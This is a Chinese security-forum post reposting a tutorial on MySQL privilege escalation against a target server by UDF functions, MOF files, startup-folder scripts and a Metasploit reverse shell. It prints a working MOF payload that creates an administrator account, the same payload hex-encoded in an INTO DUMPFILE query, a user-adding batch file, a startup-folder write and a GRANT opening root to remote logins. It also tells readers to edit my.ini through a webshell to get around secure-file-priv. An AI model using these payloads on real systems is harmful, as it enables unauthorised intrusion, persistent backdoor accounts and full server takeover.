安全矩阵

 找回密码
 立即注册
搜索
查看: 2490|回复: 0

基础17-权限提升之Mysql数据库提权

[复制链接]

991

主题

1063

帖子

4319

积分

论坛元老

Rank: 8Rank: 8

积分
4319
发表于 2022-1-23 15:35:02 | 显示全部楼层 |阅读模式
原文链接:基础17-权限提升之Mysql数据库提权


内容目录一、Mysql数据库提权1.Mysql提权利用之UDF提权2.Mysql提权利用之MOF提权(成功率随缘)3.Mysql提权利用之启动项提权(基于配合操作系统自启动)4.Mysql提提权利用之反弹shell提权
一、Mysql数据库提权1.Mysql提权利用之UDF提权
原理:udf提权就是利用到创建自定义函数(sys_eval),在mysql中调用这个自定义的函数(sys_eval)来实现获取对方主机的system的shell权限,从而达到提权的目的。
简单来说便是利用提权脚本放到对方mysql指定的目录下,运用脚本创建自定义函数,使用函数即可获取shell权限。
第一步,需要找到root密码,发挥信息收集的能力。
例如:读取网站数据库配置文件(了解其命名规则及查找技巧)。

读取数据库存储或备份文件(了解其数据库存储格式及对应内容)

等等办法得到root用户密码。
第二步,判断数据库版本信息,因为版本不同,导出路径也不同。
先判定mysql版本-select version()查看mysql安装目录-select @@basedir
1、 Mysql < 5.0导出路径随意。
2、 5.0 <= Mysql < 5.1 Win2000导出路径:C:/Winnt/udf.dll 其他Windows系统导出路径均为:C:/Windows/udf.dll或C:/Windows/system32/udf.dll
3、 Mysql >= 5.1
Mysql安装目录的lib\plugin文件夹下,如果mysql安装时不选择完整安装或使用集成开发环境等情况下lib\plugin目录大概率是不存在的,需要自行创建。

第三步:我们这里利用暗月大佬的udf提权脚本进行上传dll(需要的话后台回复:udf即可)

这里我们上传dll可能会失败,因为在高版本中有个参数:secure-file-priv,这个参数限制了MySQL的导出:该参数为NULL时不允许导出,该参数为空时允许在任意文件夹中导出,该参数为某文件夹时允许在该文件夹中导出。

解决方案:利用php大马webshell手工修改my.ini配置文件,添加 secure-file-priv=,之后想办法,让目标网站重启一下mysql服务即可使修改的配置生效(例如,上传可以执行命令的大马,或者菜刀执行cmd命令,启动mysql服务:net stop mysql 停止mysql服务:net start mysql)
搞完我们就可以执行成功了。

第四步:执行创建cmdshell命令。


之后就可以和使用cmd命令一样执行系统命令了。
2.Mysql提权利用之MOF提权(成功率随缘)
原理:mof是windows系统的一个文件(在c:/windows/system32/wbem/mof/nullevt.mof)叫做"托管对象格式"其作用是每隔五秒就会去监控进程创建和死亡。其就是用又了mysql的root权限了以后,然后使用root权限去执行我们上传的mof。隔了一定时间以后这个mof就会被执行,这个mof当中有一段是vbs脚本,这个vbs大多数的是cmd的添加管理员用户的命令。

  1. mof 脚本的内容如下:
  2. #pragma namespace("\\\\.\\root\\subscription")

  3. instance of __EventFilter as $EventFilter
  4. {
  5.     EventNamespace = "Root\\Cimv2";
  6.     Name  = "filtP2";
  7.     Query = "Select * From __InstanceModificationEvent "
  8.             "Where TargetInstance Isa "Win32_LocalTime" "
  9.             "And TargetInstance.Second = 5";
  10.     QueryLanguage = "WQL";
  11. };

  12. instance of ActiveScriptEventConsumer as $Consumer
  13. {
  14.     Name = "consPCSV2";
  15.     ScriptingEngine = "JScript";
  16.     ScriptText =
  17. "var WSH = new ActiveXObject("WScript.Shell")\nWSH.run("net.exe user hacker P@ssw0rd /add")\nWSH.run("net.exe localgroup administrators hacker /add")";
  18. };

  19. instance of __FilterToConsumerBinding
  20. {
  21.     Consumer   = $Consumer;
  22.     Filter = $EventFilter;
  23. };
复制代码
  1. 核心代码:
  2. var WSH = new ActiveXObject("WScript.Shell")\nWSH.run("net.exe user hacker P@ssw0rd /add")
  3. \nWSH.run("net.exe localgroup administrators hacker /add")
复制代码

注:这个老洞,基本上在 Windows Server 2003 的环境下才可以成功
脚本创建了一个hacker用户,
MySQL 写文件的特性将这个 MOF 文件导入到 C:/Windows/system32/wbem/mof/ 目录下,依然采用上述编码的方式:
mysql > select 0x23707261676D61206E616D65737061636528225C5C5C5C2E5C5C726F6F745C5C737562736372697074696F6E2229200A0A696E7374616E6365206F66205F5F4576656E7446696C74657220617320244576656E7446696C746572200A7B200A202020204576656E744E616D657370616365203D2022526F6F745C5C43696D7632223B200A202020204E616D6520203D202266696C745032223B200A202020205175657279203D202253656C656374202A2046726F6D205F5F496E7374616E63654D6F64696669636174696F6E4576656E742022200A20202020202020202020202022576865726520546172676574496E7374616E636520497361205C2257696E33325F4C6F63616C54696D655C222022200A20202020202020202020202022416E6420546172676574496E7374616E63652E5365636F6E64203D2035223B200A2020202051756572794C616E6775616765203D202257514C223B200A7D3B200A0A696E7374616E6365206F66204163746976655363726970744576656E74436F6E73756D65722061732024436F6E73756D6572200A7B200A202020204E616D65203D2022636F6E735043535632223B200A20202020536372697074696E67456E67696E65203D20224A536372697074223B200A2020202053637269707454657874203D200A2276617220575348203D206E657720416374697665584F626A656374285C22575363726970742E5368656C6C5C22295C6E5753482E72756E285C226E65742E6578652075736572206861636B6572205040737377307264202F6164645C22295C6E5753482E72756E285C226E65742E657865206C6F63616C67726F75702061646D696E6973747261746F7273206861636B6572202F6164645C2229223B200A7D3B200A0A696E7374616E6365206F66205F5F46696C746572546F436F6E73756D657242696E64696E67200A7B200A20202020436F6E73756D65722020203D2024436F6E73756D65723B200A2020202046696C746572203D20244576656E7446696C7465723B200A7D3B0A into dumpfile "C:/windows/system32/wbem/mof/test.mof";来源: 国光大佬执行成功的的时候,test.mof 会出现在:c:/windows/system32/wbem/goog/ 目录下 否则出现在 c:/windows/system32/wbem/bad 目录下:

我们过会再去查看,会发现hack用户被创建成功。

3.Mysql提权利用之启动项提权(基于配合操作系统自启动)
启动项知识点:(基于配合操作系统自启动) 导出自定义可执行文件到启动目录配合重启执行 将创建好的后门或执行文件进行服务器启动项写入,配合重启执行!

第一步:利用webshell上传我们写好的bat文件
@echonet user ceshi 123!@#ws /add

第二步,使用sql命令将上传的ba文件写到启动项中。
select load_file(‘C:/phpStudy/PHPTutorial/WWW/adduser.bat’) into dumpfile ‘C:/Documents and Settings/Administrator/「开始」菜单/程序/启动/adduser.bat’;第三步,让目标服务器重启后,查看发现用户被创建,bat文件执行。

4.Mysql提权之反弹shell提权(数据库支持外连)
实际上这个其实还是UDF提权的一种,首先还是依托于dll上传成功的前提下。之后使用脚本即可。


成功反弹
注意在使用MSF工具提权的时候,一定要保证对方数据库是要开启外连的,不然就只能本地了。

外连命令:GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY '密码' WITH GRANT OPTION
开启外连之后就可以直接使用msf了。

选择对应模块,配置信息,运行即可。



回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2025-4-23 23:41 , Processed in 0.015591 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表